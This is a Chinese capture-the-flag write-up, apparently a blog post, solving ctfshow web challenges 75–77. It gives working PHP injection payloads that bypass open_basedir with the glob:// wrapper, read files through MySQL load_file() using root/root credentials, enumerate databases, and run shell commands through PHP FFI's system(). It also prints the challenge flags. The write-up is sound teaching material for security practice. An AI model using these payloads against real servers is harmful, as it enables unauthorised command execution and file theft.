ctfshow-web入门-命令执行(web75-web77)

目录

1、web75

2、web76

3、web77


1、web75

使用 glob 协议绕过 open_basedir,读取根目录下的文件,payload:

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);
?>

存在 flag36.txt

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

payload:

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

解释:

try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}

// 终止脚本执行
exit();

$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。

PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。

DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。

foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}

当然我们也可以查一下有哪些数据库:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

payload 解释:

// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";

// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');

// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");

// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){
    echo($row[0])."|";
}

// 终止脚本执行
exit();

确实存在一个名为 ctftraining 的数据库

我们还可以继续查 ctftraining 数据库下的所有表:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

存在一个名为 FLAG_TABLE 的表

查该表下的列名:

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

得到列名为 FLAG_COLUMN

查询具体字段信息:

c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

不行

但是由于我们知道了 flag 的路径,所有直接使用 load_file() 函数进行文件读取就行了。

2、web76

读取根目录下的文件:

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);

存在名为 flag36d.txt 的文件

使用上一题的方法获取:

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}

3、web77

读取根目录后发现存在 flag36x.txt 和 readflag

(readflag 这个东西在前面的题里面遇到过,它是一个可执行的二进制文件,执行它即可获取 flag,这里为什么要用这个 readflag 而不是直接读取 flag36x.txt 我们后面再说)

采用前面的方法,但是回显 could not find driver

先放上题目提示里给到 payload:

用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

我们先来试一下,payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

之后访问 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}

接下来我们说一下为什么读取 flag36x.txt 不行

我们先尝试读一下,构造 payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);

之后访问 2.txt,发现是空白,没有任何内容:

看一下根目录下文件的权限:

c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);

访问 3.txt 查看执行结果:

先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt

第一个字符 - 表示这是一个普通文件。

接下来的三个字符 r-- 表示文件所有者(root)具有读取权限,但没有写入或执行权限。

后面的三个字符 r-- 表示文件所属组(root组)具有读取权限,但没有写入或执行权限。

最后的三个字符 --- 表示其他用户没有任何权限(既没有读取、写入、也没有执行权限)。

而我们当前是一个什么用户呢:

c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);

用户 www-data 并不属于文件 flag36x.txt 的所有者(root 用户),也不属于文件所属组(root 组)。因此,根据文件的权限设置,www-data 用户无法读取 flag36x.txt 文件的内容。

而对于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag

第一个字符 - 表示这是一个普通文件。

接下来的三个字符 r-s 表示文件所有者(root)具有读取和执行权限,并且设置了SUID权限位。

后面的三个字符 r-x 表示文件所属组(root组)具有读取和执行权限,但没有写入权限。

再后面的三个字符 r-x 表示其他用户具有读取和执行权限,但没有写入权限。

我们读取一下 /readflag 的内容:

c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);

访问 4.txt 下载:

"ELF" 开头的文件通常是可执行的二进制文件

使用 ida64 打开反编译分析一下:

伪代码分析:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setuid(0);                      // 提升权限为root用户
  puts("ctfshow flag getter");    // 输出一条信息到标准输出
  system("cat /flag36x.txt");     // 执行命令,输出文件 /flag36x.txt 的内容
  return 0;                       // 返回0,表示程序正常结束
}

就是提权成 root 后读取 根目录下的 flag36x.txt,这也是为什么我们执行 readflag 后就会读取到 flag 的内容。

相关推荐
fmk10233 分钟前
AntV学习笔记
笔记·学习
leesan快点跑9 分钟前
昇思25天学习打卡营第09天|sea_fish
学习
2402_8575893612 分钟前
逐步深入:掌握sklearn中的增量学习
人工智能·学习·sklearn
wilsonzane12 分钟前
Mongodb集群中的分布式读写
数据库·分布式·mongodb
汐织海纳_Hina13 分钟前
RabbitMQ学习笔记
笔记·学习·rabbitmq
关中雪21 分钟前
【应届应知应会】SQL常用知识点50道
数据库·mysql·nosql·秋招·校招·春招
张紫娃23 分钟前
【鸿蒙学习笔记】创建自定义组件
笔记·学习·harmonyos
zxrhhm32 分钟前
MySQL中使用PROFILING来查看SQL执行流程
数据库·mysql
醇氧32 分钟前
【postgresql】表操作
数据库·sql·postgresql
叁分之一32 分钟前
“我打包又失败了”
前端·npm